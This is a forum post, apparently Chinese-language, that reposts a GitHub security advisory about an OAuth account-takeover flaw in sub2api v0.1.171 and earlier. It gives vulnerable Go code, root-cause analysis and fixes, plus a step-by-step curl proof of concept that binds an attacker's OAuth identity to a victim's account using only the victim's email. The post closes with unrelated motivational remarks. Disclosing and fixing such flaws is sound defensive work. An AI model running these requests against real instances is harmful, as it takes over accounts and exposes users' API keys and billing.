sub2api 曝 OAuth 高危漏洞,仅凭邮箱即可接管账户
sub2api v0.1.171 及之前版本存在一个 CVSS 8.8 的高危 OAuth 账户接管漏洞。攻击者仅需知道受害者注册邮箱,无需密码或验证码、无需用户交互,即可通过接口将自己的 OAuth 身份绑定到受害者账户,完全控制其 API 密钥、账单余额与订阅配额。攻击者利用 pending session 流程中 existingUser 分支不校验密码和验证码的缺陷,将目标用户 ID 设为受害者后完成 OAuth 身份绑定。此后攻击者每次 OAuth 登录均会解析为受害者账户。
github.com/Wei-Shaw/sub2api (https://github.com/Wei-Shaw/sub2api/issues/5350)
OAuth Account Takeover via Pending Exchange Bypass in sub2api
已打开 01:34AM - 07 Aug 26 UTC
https://cdn3.ldstatic.com/original/4X/9/1/7/917b4657c3143a836f3d345e18906b58a5460c5f.jpeg
TechnologyStar
## Summary A critical account-takeover vulnerability exists in sub2api's OAuth …pending-session exchange flow. An attacker who possesses **only the victim's registered email address** can bind their own OAuth identity to the victim's account through the `/auth/oauth/pending/exchange` endpoint, without requiring the victim's password, email verification code, or any user interaction. After binding, every subsequent OAuth login by the attacker is resolved to the victim's account, granting full control over the victim's API keys, billing balance, and subscription quotas. The root cause is a three-layer defect in `backend/internal/handler/auth_oauth_pending_flow.go`: 1. `ExchangePendingOAuthCompletion` only intercepts the `email_completion` and `bind_login_required` steps, leaving `choose_account_action_required` unguarded. 2. `applyPendingOAuthAdoption` unconditionally calls `applyPendingOAuthBinding` regardless of the adoption decision's content. 3. `shouldBindPendingOAuthIdentity` returns `true` unconditionally when `intent == "login"`, without verifying that the session is in a terminal, verifiable state. The vulnerability affects all OAuth providers that route through the pending-session flow (linux.do, OIDC, WeChat, DingTalk). GitHub and Google may follow a separate verified-email path that requires additional audit. ## Affected Versions - **Project**: (https://github.com/Wei-Shaw/sub2api) - **Affected versions**: `<= v0.1.171` (latest release as of disclosure) - **Fixed version**: None — PR is pending merge at time of writing ## CVSS **CVSS v3.1 Base Score: 8.8 (High)** ``` AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ``` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Exploited via HTTP API remotely | | Attack Complexity | Low | Multi-step HTTP request sequence, no race condition | | Privileges Required | Low | Attacker needs any OAuth account (low registration bar) | | User Interaction | None | No victim interaction required | | Scope | Unchanged | Impact confined to sub2api account system | | Confidentiality | High | Full read of victim's API keys and account data | | Integrity | High | Attacker can modify account, bind new identities | | Availability | High | Attacker can drain subscription quotas and disable service | ## Prerequisites 1. Attacker controls any OAuth account on a supported provider (e.g., a freshly registered linux.do account). 2. Attacker knows the victim's registered email address on the sub2api instance. Email addresses are commonly obtainable through: - Public profile information - Community channels (chat groups, forums) - Social engineering - Prior data leaks No password, no email verification code, no captcha bypass, and no victim interaction are required. ## Vulnerable Code ### Location ``` backend/internal/handler/auth_oauth_pending_flow.go ``` ### Defect A — `ExchangePendingOAuthCompletion` does not intercept all steps ```go func (h *AuthHandler) ExchangePendingOAuthCompletion(c *gin.Context) { session := loadPendingSession(c) step := completionPayload.Step //Only these two steps are intercepted. // choose_account_action_required falls through to adoption/binding. if step == "email_completion" || step == "bind_login_required" { c.JSON(200, gin.H{"step": step, ...}) return } // Unintercepted steps (incl. choose_account_action_required) reach here. adoptionDecision := parseAdoptionDecision(c) h.applyPendingOAuthAdoption(ctx, session, adoptionDecision) // ... issues token pair ... } ``` ### Defect B — `applyPendingOAuthAdoption` always triggers binding ```go func (h *AuthHandler) applyPendingOAuthAdoption(ctx, session, decision) (...) { // adopt_display_name / adopt_avatar affect display attributes only, // they have nothing to do with account ownership. Yet binding still runs. if decision.AdoptDisplayName || decision.AdoptAvatar { h.updateUserProfileFields(ctx, session.TargetUserID, decision) } //Binding is invoked regardless of the adoption decision. return h.applyPendingOAuthBinding(ctx, session) } func (h *AuthHandler) applyPendingOAuthBinding(ctx, session) (...) { if h.shouldBindPendingOAuthIdentity(session) { // Writes attacker's OAuth identity into auth_identities table // with user_id = session.TargetUserID (i.e., the victim). h.authService.BindOAuthIdentity(ctx, session.TargetUserID, session.ProviderType, session.ProviderSubject) } } ``` ### Defect C — `shouldBindPendingOAuthIdentity` returns true unconditionally for `intent == "login"` ```go func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool { //No verification that the session is in a terminal, verifiable state. // No check for canIssueTokenPair or email-verified flag. if session.Intent == "login" { return true } if session.Intent == "bind_current_user" { return session.HasCurrentUserCookie } return false } ``` ## Attack Scenario ### Step 1 — Attacker initiates OAuth login The attacker starts a normal OAuth login flow with their own provider account (e.g., linux.do). The callback handler cannot find an existing `auth_identity` for the provider subject, so the session enters the `choose_account_action_required` state, prompting the user to choose between "create new account" or "bind to existing account". ### Step 2 — Attacker submits the victim's email The attacker calls `POST /auth/oauth/pending/create-account` with: - `email` = victim's registered email - `password` = any arbitrary value - `verify_code` = omitted or empty Because the submitted email already exists in the `users` table, the handler transitions the pending session to the `choose_account` choice state and sets: - `TargetUserID` = victim's `user_id` - `existing_account_bindable` = `true` **Critically, this path does NOT validate the password, does NOT require an email verification code, and skips the captcha gate when the email already exists.** The system conflates "email exists" with "the submitter owns this email" — a trust-boundary inversion. ### Step 3 — Attacker calls exchange with an adoption decision The attacker calls `POST /auth/oauth/pending/exchange` with an adoption decision payload: ```json { "adopt_display_name": true, "adopt_avatar": true } ``` These two boolean fields control only display attributes (nickname / avatar) and have no semantic relationship to account ownership. However, `ExchangePendingOAuthCompletion` does not intercept `choose_account_action_required` (Defect A), so the request falls through to `applyPendingOAuthAdoption` → `applyPendingOAuthBinding` (Defect B), and `shouldBindPendingOAuthIdentity` returns `true` because `intent == "login"` (Defect C). The attacker's OAuth identity is now persisted in `auth_identities` with `user_id = victim's user_id`. ### Step 4 — Subsequent OAuth login resolves to the victim On the attacker's next OAuth login with the same provider account, `findOAuthIdentityUser` looks up the `auth_identities` table, finds the entry created in Step 3, and resolves the attacker to the victim's `user_id`. The system issues the victim's access token / refresh token pair to the attacker. The account takeover is now complete and persistent. The attacker can: - Read all of the victim's API keys (Claude / OpenAI / Gemini / Grok, etc.) - Drain billing balance and subscription quotas - Modify account profile, payment bindings, and password - If the victim participates in a subscription carpool group, access other members' information - Impersonate the victim for social-engineering follow-up attacks ## Proof of Concept > The following is a minimal PoC demonstrating the attack against a local instance. Replace `<victim_email>` with the target's registered email. Run with an authenticated attacker OAuth session cookie from Step 1. ### 1. Trigger OAuth login as the attacker ``` GET /oauth/linuxdo/start # Complete the OAuth dance on linux.do with the attacker's account. # Callback lands at /oauth/linuxdo/callback and returns a pending_session_id. ``` ### 2. Submit the victim's email to enter the `choose_account_action_required` state ```bash curl -X POST "https://<instance>/auth/oauth/pending/create-account" \ -H "Content-Type: application/json" \ -H "Cookie: pending_session=<pending_session_id>" \ -d '{ "email": "<victim_email>", "password": "any_random_value", "display_name": "attacker" }' ``` **Expected response** (note the `existing_account_bindable` flag and absence of captcha requirement): ```json { "step": "choose_account_action_required", "existing_account_bindable": true, "target_user_id": <victim_user_id> } ``` ### 3. Exchange the pending session with an adoption decision to bind the attacker's OAuth identity ```bash curl -X POST "https://<instance>/auth/oauth/pending/exchange" \ -H "Content-Type: application/json" \ -H "Cookie: pending_session=<pending_session_id>" \ -d '{ "adopt_display_name": true, "adopt_avatar": true }' ``` **Expected response** (the attacker now receives the victim's token pair): ```json { "access_token": "<victim_access_token>", "refresh_token": "<victim_refresh_token>", "user": { "id": <victim_user_id>, "email": "<victim_email>", ... } } ``` ### 4. Verify the takeover The attacker can now call any authenticated API endpoint with the issued `access_token` and is treated as the victim. Calling `GET /api/user/profile` returns the victim's account details, API keys, and billing state. ## Impact - **Full account takeover** with no password, no email verification, and no user interaction required. - **API key disclosure** — all upstream API keys (Claude / OpenAI / Gemini / Grok / Antigravity) bound to the victim's account are exposed. - **Billing and quota abuse** — attacker can drain prepaid balance and consume subscription quotas. - **Carpool group collateral damage** — if the victim is in a shared subscription carpool, other members' data and quotas may be affected. - **Reputation and payment risk** — attacker can post content, send private messages, and modify payment bindings under the victim's identity. - **Persistence** — the binding survives until manually removed from `auth_identities`; the attacker can re-login at will. - **Scalability** — the attack can be scripted to enumerate and take over multiple accounts in bulk if email lists are available. ## Root Cause Analysis The vulnerability arises from three compounding design flaws: ### 1. Non-exhaustive state machine `ExchangePendingOAuthCompletion` enumerates only a subset of pending-session steps for explicit interception. Any step not in the whitelist (including `choose_account_action_required`) is implicitly treated as "safe to proceed to binding," violating the fail-closed principle. ### 2. Trust-boundary inversion When the attacker submits the victim's email, the system sets `TargetUserID = victim's user_id` based solely on the email-existing lookup. This conflates a neutral fact ("this email exists in the database") with an authorization claim ("the submitter owns this email"). The correct proof of email ownership — a verification code sent to that email — is bypassed on the `existing_account_bindable` path. ### 3. Intent/permission semantic confusion `shouldBindPendingOAuthIdentity` treats `intent == "login"` (an anonymous, unverified state) as more permissive than `intent == "bind_current_user"` (a logged-in, cookie-verified state). The function returns `true` unconditionally for `login` intent without checking `canIssueTokenPair` or `HasVerifiedEmail`. This is the opposite of least-privilege — anonymous sessions should be the *most* restricted, not the least. ## Suggested Fix The fix has three layers, all of which should be applied: ### Fix 1 — Fail-closed in `ExchangePendingOAuthCompletion` Only execute identity binding when the session is in a terminal, verifiable state OR the request originates from an authenticated `bind_current_user` session. All other states return the payload only and do NOT consume the session. ```go func (h *AuthHandler) ExchangePendingOAuthCompletion(c *gin.Context) { session := loadPendingSession(c) //Only allow binding in terminal or authenticated-bind states. if !session.CanIssueTokenPair && session.Intent != "bind_current_user" { // Non-terminal state — return payload, do NOT bind, do NOT consume. c.JSON(200, buildCompletionPayload(session)) return } if session.Intent == "bind_current_user" && !session.HasCurrentUserCookie { c.JSON(403, gin.H{"error": "bind_current_user requires login cookie"}) return } h.applyPendingOAuthBinding(ctx, session) c.JSON(200, h.issueTokenPair(session.TargetUserID)) } ``` ### Fix 2 — Require email verification on the `choose_account_action_required` path When the submitted email already exists, force a verification code to be sent to that email and require it on the subsequent exchange. The `existing_account_bindable` shortcut must be removed. ```go // In create-account handler: if emailExists { // Do NOT set existing_account_bindable = true. // Instead, transition to email_verification_required and send a code. session.Step = "email_verification_required" h.authService.SendPendingOAuthVerifyCode(ctx, session, email) c.JSON(200, gin.H{"step": "email_verification_required"}) return } ``` ### Fix 3 — Tighten `shouldBindPendingOAuthIdentity` Require both `CanIssueTokenPair` and `HasVerifiedEmail` for `login` intent. ```go func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool { switch session.Intent { case "login": return session.CanIssueTokenPair && session.HasVerifiedEmail case "bind_current_user": return session.HasCurrentUserCookie && session.HasVerifiedEmail } return false } ``` ## Defense-in-Depth Recommendations In addition to the core fix, the following hardening measures are recommended to prevent similar issues from recurring: 1. **Single-consume pending sessions** — Add a `consumed` flag to `pending_auth_session`. Once `exchange` succeeds, mark the session as consumed and reject any subsequent `exchange` call with `410 Gone`, preventing replay attacks. 2. **Anomaly alerting** — Alert when a single IP binds OAuth identities to 3+ distinct `user_id`s within 1 hour, which is a strong signal of mass takeover attempts. 3. **Audit other OAuth providers** — GitHub and Google follow the `RegisterVerifiedOAuthEmailAccount` path because they return verified emails. Confirm this path is not reachable from the `choose_account_action_required` state. Also audit WeChat, OIDC, and DingTalk for the same defect class. 4. **Unit-test the state machine** — Add tests covering every `(intent, step)` combination and assert that binding only occurs for the terminal / authenticated-bind cases. 5. **Consider removing `choose_account_action_required` entirely** — The "bind to existing account" UX flow can be replaced with an explicit `bind_current_user` flow that requires the user to first log in with their existing credentials, then visit the profile page to bind a new OAuth identity. This eliminates the anonymous-bind attack surface. ## Timeline | Date | Event | |---|---| | 2026-08-04 | sub2api v0.1.171 released (latest affected version) | | 2026-08-06 | Vulnerability disclosed via GitHub PR #5345 | | 2026-08-07 | This advisory published | ## References - Fix PR: https://github.com/Wei-Shaw/sub2api/pull/5345 - Project repository: https://github.com/Wei-Shaw/sub2api - Related security PRs: - #5268 — Turnstile ticket required before OAuth signup submission (merged) - #5261 — Tencent Tianyu captcha gate for anonymous auth endpoints (closed) - #5327 — User-agent validation before persisting account fingerprint (open) - #5200 — Refresh token race prevention across tabs (merged) ## Credits Reported by independent security researcher. The fix PR was prepared and submitted in parallel with this advisory. ## Disclaimer This advisory is provided for defensive and remediation purposes only. The proof-of-concept commands are intentionally minimal and require an authenticated attacker session; they should only be executed against instances under the reporter's own control for validation purposes. 不要用当下的能力决定未来的高度,要用野心定义未来的战场。 项目能不能跑通,最终还是看执行和复盘。 今日学习分享-------当你真正理解了以上,弄懂了如何判断信息,恭喜你,所有的平台都是你的优质项目库 看到就是学到:你符合平台的利益,你能产生价值帮平台留住用户。
页:
[1]